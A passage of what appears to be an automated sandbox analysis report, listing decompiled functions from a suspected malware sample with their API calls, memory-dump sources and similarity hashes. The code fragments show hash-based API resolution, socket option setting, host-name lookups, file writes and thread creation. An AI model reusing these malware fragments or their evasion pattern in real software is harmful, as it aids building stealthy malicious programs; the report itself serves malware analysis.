				void* _t44;
				signed int _t45;

				_t42 = __edi;
				_t28 = __ebx;
				_t16 =  *0xf4a004; // 0x355216d4
				_v8 = _t16 ^ _t45;
				_t18 =  *0xf4c2ec; // 0xddcc10
				_t44 = __ecx;
				_t19 =  *((intOrPtr*)(_t18 + 0x14c));
				if(_t19 == 0) {
					_t19 = E00F222A0(__ebx, 0, _t19 + 6, __edi, __ecx, 0x55d15957);
					_t39 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t39 + 0x14c)) = _t19;
				}
				_t20 =  *_t19(_t44, 0xffff, 0x7010, 0, 0); // executed
				if(_t20 == 0) {
					_t21 =  *0xf4c2ec; // 0xddcc10
					_v12 = 4;
					_t22 =  *((intOrPtr*)(_t21 + 0x150));
					if(_t22 == 0) {
						_t22 = E00F222A0(_t28, 0, _t22 + 6, _t42, _t44, 0xe34ea561);
						_t37 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t37 + 0x150)) = _t22;
					}
					_t23 =  *_t22(_t44, 0xffff, 0x700c,  &_v16,  &_v12); // executed
					if(_t23 != 0) {
						goto L3;
					} else {
						return E00F37A82(_v8 ^ _t45);
					}
				} else {
					L3:
					return E00F37A82(_v8 ^ _t45);
				}
			}

















    0x00f33290
    0x00f33290
    0x00f33296
    0x00f3329d
    0x00f332a0
    0x00f332a6
    0x00f332a8
    0x00f332b0
    0x00f332bc
    0x00f332c1
    0x00f332c7
    0x00f332c7
    0x00f332dc
    0x00f332e0
    0x00f332f3
    0x00f332f8
    0x00f332ff
    0x00f33307
    0x00f33313
    0x00f33318
    0x00f3331e
    0x00f3331e
    0x00f33337
    0x00f3333b
    0x00000000
    0x00f3333d
    0x00f33352
    0x00f33352
    0x00f332e2
    0x00f332e2
    0x00f332f2
    0x00f332f2

    APIs
    • setsockopt.WS2_32(?,0000FFFF,00007010,00000000,00000000,00000364), ref: 00F332DC
    • getsockopt.WS2_32(?,0000FFFF,0000700C,?,00000004), ref: 00F33337
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: getsockoptsetsockopt
    • String ID:
    • API String ID: 194641219-0
    • Opcode ID: dc33d3f8772341aed011d1f2e9c7bf08e3b3920f7e16b53370312e3b7d5929bb
    • Instruction ID: fd36a43eb3f72353c42b96b77c18147f4e35f80c2a8eba1241d92823b3b4fa47
    • Opcode Fuzzy Hash: dc33d3f8772341aed011d1f2e9c7bf08e3b3920f7e16b53370312e3b7d5929bb
    • Instruction Fuzzy Hash: 47118430A01205ABD714DBA4DC42FAA73A4EF49320F0042AEA905DF2D1EA759B049B84
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F331D0 Relevance: 3.1, APIs: 2, Instructions: 62networkCOMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorLasthtons
    • String ID:
    • API String ID: 1658467590-0
    • Opcode ID: 49a01addda387fe8e03f122e6dc79a27227a2dc7a011e8fe1b9d2db582bf2301
    • Instruction ID: d8826d53410700db6cab61a0eb2e1a6de7a886feda2ef006c6976a496cd007df
    • Opcode Fuzzy Hash: 49a01addda387fe8e03f122e6dc79a27227a2dc7a011e8fe1b9d2db582bf2301
    • Instruction Fuzzy Hash: CA11AC35A0030C9BD721DFA8DC41BBBB7B8FF5A320F000159D941A7292D774EE04ABA1
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F31BD0 Relevance: 3.0, APIs: 2, Instructions: 43networkCOMMON
    Download Yara Rule
    C-Code - Quality: 67%
    			E00F31BD0(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v264;
				signed int _t11;
				intOrPtr _t13;
				int _t15;
				intOrPtr _t18;
				intOrPtr* _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t28;
				intOrPtr _t30;
				signed int _t35;

				_t34 = __esi;
				_t33 = __edi;
				_t22 = __ebx;
				_t11 =  *0xf4a004; // 0x355216d4
				_v8 = _t11 ^ _t35;
				_t13 =  *0xf4c2ec; // 0xddcc10
				_t14 =  *((intOrPtr*)(_t13 + 0x130));
				if( *((intOrPtr*)(_t13 + 0x130)) == 0) {
					_t21 = E00F222A0(__ebx, 0, _t14 + 6, __edi, __esi, 0x1260d6db);
					_t30 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t30 + 0x130)) = _t21;
				}
				_t15 = gethostname( &_v264, 0x100); // executed
				if(_t15 != 0xffffffff) {
					_t18 =  *0xf4c2ec; // 0xddcc10
					_t19 =  *((intOrPtr*)(_t18 + 0x12c));
					if(_t19 == 0) {
						_t19 = E00F222A0(_t22, 0, _t19 + 6, _t33, _t34, 0xbd6ac662);
						_t28 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t28 + 0x12c)) = _t19;
					}
					_t20 =  *_t19( &_v264); // executed
					 *0xf4c2fc = _t20;
				}
				return E00F37A82(_v8 ^ _t35);
			}















    0x00f31bd0
    0x00f31bd0
    0x00f31bd0
    0x00f31bd9
    0x00f31be0
    0x00f31be3
    0x00f31be8
    0x00f31bf0
    0x00f31bfc
    0x00f31c01
    0x00f31c07
    0x00f31c07
    0x00f31c19
    0x00f31c1e
    0x00f31c20
    0x00f31c25
    0x00f31c2d
    0x00f31c39
    0x00f31c3e
    0x00f31c44
    0x00f31c44
    0x00f31c51
    0x00f31c53
    0x00f31c53
    0x00f31c67

    APIs
    • gethostname.WS2_32(?,00000100), ref: 00F31C19
    • gethostbyname.WS2_32(?), ref: 00F31C51
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: gethostbynamegethostname
    • String ID:
    • API String ID: 3961807697-0
    • Opcode ID: 25fbf771a96e98889e7f12b3fa4a843ade55dd818e3f9586092c014de38cf720
    • Instruction ID: 5ec300f29b81b51071606f0a8e1020bad0285754ed9a67ca03dc023c838cd640
    • Opcode Fuzzy Hash: 25fbf771a96e98889e7f12b3fa4a843ade55dd818e3f9586092c014de38cf720
    • Instruction Fuzzy Hash: 420192746012089FC754DFB4DC91EE9B3E4BB1D310F4155AEA80ADB291EBB5DA00DB80
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3A089 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3A089(void* __eax, void* __ebx, void* __ecx, void* __edx) {

				 *((intOrPtr*)(__ebx + __eax + 0x33)) =  *((intOrPtr*)(__ebx + __eax + 0x33)) + __edx;
			}



    0x00f3a08e

    APIs
      • Part of subcall function 00F3C290: GetEnvironmentStringsW.KERNEL32 ref: 00F3C299
      • Part of subcall function 00F3C290: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F3C2BC
      • Part of subcall function 00F3C290: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F3C2E2
      • Part of subcall function 00F3C290: _free.LIBCMT ref: 00F3C2F5
      • Part of subcall function 00F3C290: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F3C304
    • _free.LIBCMT ref: 00F3A0CF
    • _free.LIBCMT ref: 00F3A0D6
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
    • String ID:
    • API String ID: 400815659-0
    • Opcode ID: cc83897d1cad5cb962f07ad449993a41b96426e46849570451251b7db8a9956d
    • Instruction ID: 157312211aa650d23a6c774a2310e019843ebbe8d61e0f0629b1a0e995b521f8
    • Opcode Fuzzy Hash: cc83897d1cad5cb962f07ad449993a41b96426e46849570451251b7db8a9956d
    • Instruction Fuzzy Hash: 2CE0E557D0885102A239367F2C01A5F36004B82331F100356FDB2D71C3EE58C8027593
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F39872 Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F39872(void* _a4) {
				char _t3;
				intOrPtr* _t4;
				intOrPtr _t6;

				if(_a4 != 0) {
					_t3 = RtlFreeHeap( *0xf4c298, 0, _a4); // executed
					if(_t3 == 0) {
						_t4 = E00F3B502();
						_t6 = E00F3B489(GetLastError());
						 *_t4 = _t6;
						return _t6;
					}
				}
				return _t3;
			}






    0x00f3ad86
    0x00f3ad93
    0x00f3ad9b
    0x00f3ad9e
    0x00f3adac
    0x00f3adb2
    0x00000000
    0x00f3adb4
    0x00f3ad9b
    0x00f3adb6

    APIs
    • RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
    • GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorFreeHeapLast
    • String ID:
    • API String ID: 485612231-0
    • Opcode ID: 2f20e5f2b5d8200a85b66b97dc9937509ce7ec2b280920026074ffb594f78374
    • Instruction ID: b3f6a1931c37bb4834836ffe33dd83d8d6df94b6b9d61d95da1c90544b2b2de6
    • Opcode Fuzzy Hash: 2f20e5f2b5d8200a85b66b97dc9937509ce7ec2b280920026074ffb594f78374
    • Instruction Fuzzy Hash: FAE08C32500608ABCB102FF5FC0DB993B98AB10372F144124FE8A96460EB769890FB85
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F37620 Relevance: 1.6, APIs: 1, Instructions: 89COMMON
    Download Yara Rule
    C-Code - Quality: 57%
    			E00F37620(void* __edx, char _a4, intOrPtr _a24) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				short* _t24;
				intOrPtr _t27;
				intOrPtr* _t28;
				intOrPtr _t32;
				intOrPtr* _t33;
				void* _t36;
				intOrPtr _t37;
				void* _t38;
				intOrPtr* _t42;
				intOrPtr _t45;
				intOrPtr _t47;
				short* _t50;
				void* _t51;

				_t49 = __edx;
				_t54 = _t38;
				if(_t38 != 0) {
					__eflags = _t38 - 1;
					if(__eflags != 0) {
						__eflags = _t38 - 2;
						if(__eflags != 0) {
							_t37 = 0;
							__eflags = 0;
						} else {
							_t51 = 0xf4c3a8;
							goto L6;
						}
					} else {
						_t51 = 0xf4c3dc;
						goto L6;
					}
				} else {
					_t51 = 0xf4c374;
					L6:
					_t24 = E00F37C92(_t38, _t49, _t51, _t54, 0x20); // executed
					_t50 = _t24;
					 *((intOrPtr*)(_t50 + 0x14)) = 7;
					 *((intOrPtr*)(_t50 + 0x10)) = 0;
					 *_t50 = 0;
					if(_t50 !=  &_a4) {
						_push(0xffffffff);
						L00F239A0(_t50,  &_a4, 0);
					}
					_t27 =  *0xf4c2ec; // 0xddcc10
					_t28 =  *((intOrPtr*)(_t27 + 0x84));
					if(_t28 == 0) {
						_t49 = 0;
						_t28 = E00F222A0(_t36, 0, 0, _t50, _t51, 0x21cca665);
						_t47 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t47 + 0x84)) = _t28;
					}
					_t6 = _t51 + 0xc; // 0xf4c3b4
					 *_t28(_t6);
					 *((intOrPtr*)(_t51 + 8)) =  *((intOrPtr*)(_t51 + 8)) + 1;
					_t9 = _t50 + 0x18; // 0x18
					_t42 = _t9;
					_t10 = _t51 + 8; // 0x0
					_t37 =  *_t10;
					 *_t42 = 0;
					_t11 = _t51 + 0x28; // 0x0
					 *((intOrPtr*)(_t50 + 0x1c)) =  *_t11;
					_t13 = _t51 + 0x28; // 0x0
					 *((intOrPtr*)( *_t13)) = _t50;
					 *((intOrPtr*)(_t51 + 0x28)) = _t42;
					if( *((intOrPtr*)(_t51 + 0x2c)) == 0 && _t37 >= 0x3a98) {
						 *((intOrPtr*)(_t51 + 0x2c)) = 1;
					}
					_t32 =  *0xf4c2ec; // 0xddcc10
					_t33 =  *((intOrPtr*)(_t32 + 0x8c));
					if(_t33 == 0) {
						_t49 = 0;
						_t33 = E00F222A0(_t37, 0, 0, _t50, _t51, 0xf99eabb9);
						_t45 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t45 + 0x8c)) = _t33;
					}
					_t19 = _t51 + 0xc; // 0xf4c3b4
					 *_t33(_t19);
				}
				_t39 = _a24;
				if(_a24 >= 8) {
					E00F238C0(_t37, _t49, _t50, _a4, _t39 + 1);
				}
				return _t37;
			}




















    0x00f37620
    0x00f37627
    0x00f37629
    0x00f37632
    0x00f37635
    0x00f3763e
    0x00f37641
    0x00f37710
    0x00f37710
    0x00f37647
    0x00f37647
    0x00000000
    0x00f37647
    0x00f37637
    0x00f37637
    0x00000000
    0x00f37637
    0x00f3762b
    0x00f3762b
    0x00f3764c
    0x00f3764e
    0x00f37653
    0x00f3765a
    0x00f37661
    0x00f37668
    0x00f37670
    0x00f37672
    0x00f37679
    0x00f37679
    0x00f3767e
    0x00f37683
    0x00f3768b
    0x00f37692
    0x00f37696
    0x00f3769b
    0x00f376a1
    0x00f376a1
    0x00f376a7
    0x00f376ab
    0x00f376ad
    0x00f376b0
    0x00f376b0
    0x00f376b3
    0x00f376b3
    0x00f376b6
    0x00f376bc
    0x00f376bf
    0x00f376c2
    0x00f376c5
    0x00f376cb
    0x00f376ce
    0x00f376d8
    0x00f376d8
    0x00f376df
    0x00f376e4
    0x00f376ec
    0x00f376f3
    0x00f376f7
    0x00f376fc
    0x00f37702
    0x00f37702
    0x00f37708
    0x00f3770c
    0x00f3770c
    0x00f37712
    0x00f37718
    0x00f3771f
    0x00f3771f
    0x00f3772b

    APIs
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 0bd5be9db84c9b0979fd2e470a523fa14ccce25052da2327c6f6333c355b34e8
    • Instruction ID: 7f10f8af0c323638dc22d1280fc902ef24322b0b3085471360a0ca404e47a285
    • Opcode Fuzzy Hash: 0bd5be9db84c9b0979fd2e470a523fa14ccce25052da2327c6f6333c355b34e8
    • Instruction Fuzzy Hash: AB31FFB16043019FD768EF65CCA1B6673E9BB44334F10813EE8068B690DB76E941EB90
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2BFF0 Relevance: 1.6, APIs: 1, Instructions: 68fileCOMMON
    Download Yara Rule
    C-Code - Quality: 83%
    			E00F2BFF0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, long _a4) {
				signed int _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				signed int _t15;
				long _t17;
				intOrPtr _t20;
				int _t22;
				long _t25;
				intOrPtr _t26;
				void* _t28;
				intOrPtr _t38;
				long _t42;
				long _t44;
				signed int _t45;

				_t15 =  *0xf4a004; // 0x355216d4
				_v8 = _t15 ^ _t45;
				_t17 = _a4;
				_t44 = 0;
				_v16 = __edx;
				_t28 = 0;
				_v20 = __ecx;
				_v12 = 0;
				_t42 = _t17;
				if(_t17 == 0) {
					L7:
					return E00F37A82(_v8 ^ _t45);
				} else {
					while(1) {
						_t20 =  *0xf4c2ec; // 0xddcc10
						if( *((intOrPtr*)(_t20 + 0x1c)) == 0) {
							_t26 = E00F222A0(_t28, 0, 0, _t42, _t44, 0xc45f4a8c);
							_t38 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t38 + 0x1c)) = _t26;
						}
						_t22 = WriteFile(_v20, _v16 + _t28, _t42,  &_v12, 0); // executed
						if(_t22 == 0) {
							break;
						}
						_t25 = _v12;
						if(_t25 == 0) {
							break;
						} else {
							_t44 = _t44 + _t25;
							_t28 = _t28 + _t25;
							_t42 = _t42 - _t25;
							if(_t44 != _a4) {
								continue;
							} else {
								goto L7;
							}
						}
						goto L9;
					}
					return E00F37A82(_v8 ^ _t45);
				}
				L9:
			}


















    0x00f2bff6
    0x00f2bffd
    0x00f2c000
    0x00f2c005
    0x00f2c007
    0x00f2c00a
    0x00f2c00c
    0x00f2c00f
    0x00f2c013
    0x00f2c017
    0x00f2c06d
    0x00f2c080
    0x00f2c020
    0x00f2c020
    0x00f2c020
    0x00f2c02a
    0x00f2c035
    0x00f2c03a
    0x00f2c040
    0x00f2c040
    0x00f2c053
    0x00f2c057
    0x00000000
    0x00000000
    0x00f2c059
    0x00f2c05e
    0x00000000
    0x00f2c060
    0x00f2c060
    0x00f2c062
    0x00f2c064
    0x00f2c069
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f2c069
    0x00000000
    0x00f2c05e
    0x00f2c095
    0x00f2c095
    0x00000000

    APIs
    • WriteFile.KERNELBASE(?,?,00F2EC93,00F2EC93,00000000,00000000,00000000,FFFFFFFF,?,?,00F2EC93,00000000), ref: 00F2C053
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: FileWrite
    • String ID:
    • API String ID: 3934441357-0
    • Opcode ID: 6fea1cd14373b65328fa3de06be8032d5f326cbc4234d2ee691d04bf26890ac1
    • Instruction ID: 476aa7f71b109dde814293567b07155965bdbcf561d5f3e2c0f657af089351ce
    • Opcode Fuzzy Hash: 6fea1cd14373b65328fa3de06be8032d5f326cbc4234d2ee691d04bf26890ac1
    • Instruction Fuzzy Hash: 61116372B00218ABDB14DFB9EC50AAEB7E9EB54310F00417EE805D7240EA75DE00DBD0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F37520 Relevance: 1.5, APIs: 1, Instructions: 42threadCOMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F37520(void* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t9;
				void* _t11;
				intOrPtr _t12;
				void* _t13;
				intOrPtr _t17;
				signed int _t20;
				void* _t22;

				if(__ecx != 0) {
					if(__ecx != 1) {
						return 0;
					} else {
						_t22 = 0xf4c3dc;
						goto L4;
					}
				} else {
					_t22 = 0xf4c374;
					L4:
					_t20 = 0;
					if( *((intOrPtr*)(_t22 + 4)) > 0) {
						do {
							_t9 =  *0xf4c2ec; // 0xddcc10
							if( *((intOrPtr*)(_t9 + 0x6c)) == 0) {
								_t12 = E00F222A0(_t13, 0, 0, _t20, _t22, 0x3a4532be);
								_t17 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t17 + 0x6c)) = _t12;
							}
							_t11 = CreateThread(0, 0, E00F370A0, _t22, 0, 0); // executed
							 *( *_t22 + _t20 * 4) = _t11;
							_t20 = _t20 + 1;
							_t6 = _t22 + 4; // 0x4
						} while (_t20 <  *_t6);
					}
					return 1;
				}
			}












    0x00f37523
    0x00f3752f
    0x00f37589
    0x00f37531
    0x00f37531
    0x00000000
    0x00f37531
    0x00f37525
    0x00f37525
    0x00f37536
    0x00f37537
    0x00f3753c
    0x00f37540
    0x00f37540
    0x00f3754a
    0x00f37555
    0x00f3755a
    0x00f37560
    0x00f37560
    0x00f37571
    0x00f37575
    0x00f37578
    0x00f37579
    0x00f37579
    0x00f37540
    0x00f37585
    0x00f37585

    APIs
    • CreateThread.KERNELBASE(00000000,00000000,Function_000170A0,00F4C3DC,00000000,00000000,?,?,00F310F5), ref: 00F37571
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: CreateThread
    • String ID:
    • API String ID: 2422867632-0
    • Opcode ID: d51172a43375c09cff17b4f29786ef721e30aa81fa6a3053ca1a395f722f1e61
    • Instruction ID: 82e32c1910c02841a84d615e848d50d5a9e1e4e0e234f836769fe3a9b4eccb93
    • Opcode Fuzzy Hash: d51172a43375c09cff17b4f29786ef721e30aa81fa6a3053ca1a395f722f1e61
    • Instruction Fuzzy Hash: 09F0FC72B4A3105BD7F8BE66FC40F363795AB81730F14507DE815DB281D171EC42A684
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2EFC0 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F2EFC0(void* __ecx) {
				void* __edi;
				void* __esi;
				char* _t11;
				char* _t12;
				char* _t13;
				intOrPtr _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t20;
				void* _t21;
				intOrPtr _t22;
				void* _t23;
				void* _t26;
				void* _t29;

				_t29 = __ecx;
				_t23 = 0x20;
				_t11 = __ecx + 0x58;
				do {
					 *_t11 = 0;
					_t11 = _t11 + 1;
					_t23 = _t23 - 1;
				} while (_t23 != 0);
				_t20 = 8;
				_t12 = __ecx + 0x50;
				do {
					 *_t12 = 0;
					_t12 = _t12 + 1;
					_t20 = _t20 - 1;
				} while (_t20 != 0);
				_t26 =  *(__ecx + 4);
				if(_t26 != 0xffffffff) {
					_t14 =  *0xf4c2ec; // 0xddcc10
					if( *((intOrPtr*)(_t14 + 0x48)) == 0) {
						_t17 = E00F222A0(_t18, _t20, 0, _t26, __ecx, 0xa5eb6e47);
						_t22 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t22 + 0x48)) = _t17;
					}
					FindCloseChangeNotification(_t26); // executed
					 *((intOrPtr*)(_t29 + 4)) = 0xffffffff;
				}
				_t13 = _t29 + 0x78;
				_t21 = 0x20c;
				do {
					 *_t13 = 0;
					_t13 = _t13 + 1;
					_t21 = _t21 - 1;
				} while (_t21 != 0);
				return _t13;
			}

















    0x00f2efc1
    0x00f2efc3
    0x00f2efc9
    0x00f2efd0
    0x00f2efd0
    0x00f2efd3
    0x00f2efd6
    0x00f2efd6
    0x00f2efdb
    0x00f2efe0
    0x00f2efe3
    0x00f2efe3
    0x00f2efe6
    0x00f2efe9
    0x00f2efe9
    0x00f2efee
    0x00f2eff4
    0x00f2eff6
    0x00f2f000
    0x00f2f009
    0x00f2f00e
    0x00f2f014
    0x00f2f014
    0x00f2f018
    0x00f2f01a
    0x00f2f01a
    0x00f2f022
    0x00f2f025
    0x00f2f030
    0x00f2f030
    0x00f2f033
    0x00f2f036
    0x00f2f036
    0x00f2f03b

    APIs
    • FindCloseChangeNotification.KERNELBASE(?,?,?,00F373EF), ref: 00F2F018
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ChangeCloseFindNotification
    • String ID:
    • API String ID: 2591292051-0
    • Opcode ID: 255606fb3694b10fd9f0a715c4a4caf77b7337df4fd0a1267463ffca95a631c9
    • Instruction ID: 1fce890af088c793586151dcd6c9a6bea0c264dba3d7026a12aad302789c5f5e
    • Opcode Fuzzy Hash: 255606fb3694b10fd9f0a715c4a4caf77b7337df4fd0a1267463ffca95a631c9
    • Instruction Fuzzy Hash: 9301B1355002108FD320CF6CE848F66B7E9AB86320F4582A9C865CB2A2DB75E909D790
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3ADB7 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 94%
    			E00F3ADB7(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00F3B502())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xf4c298, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00F3A74E();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00F39AE6(_t7, _t8, _t9, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}









    0x00f3adb7
    0x00f3adbd
    0x00f3adc3
    0x00f3adf5
    0x00f3adfa
    0x00f3ae00
    0x00000000
    0x00f3ae00
    0x00f3adc7
    0x00f3adc9
    0x00f3adc9
    0x00f3ade0
    0x00f3ade9
    0x00f3adf1
    0x00000000
    0x00000000
    0x00f3add1
    0x00f3add3
    0x00000000
    0x00000000
    0x00f3add6
    0x00f3addb
    0x00f3addc
    0x00f3adde
    0x00000000
    0x00000000
    0x00f3adde
    0x00000000

    APIs
    • RtlAllocateHeap.NTDLL(00000000,00F37A46,?,?,00F38CFE,?,?,?,?,?,00F37986,00F37A46,?,?,?,?), ref: 00F3ADE9
    Memory Dump Source
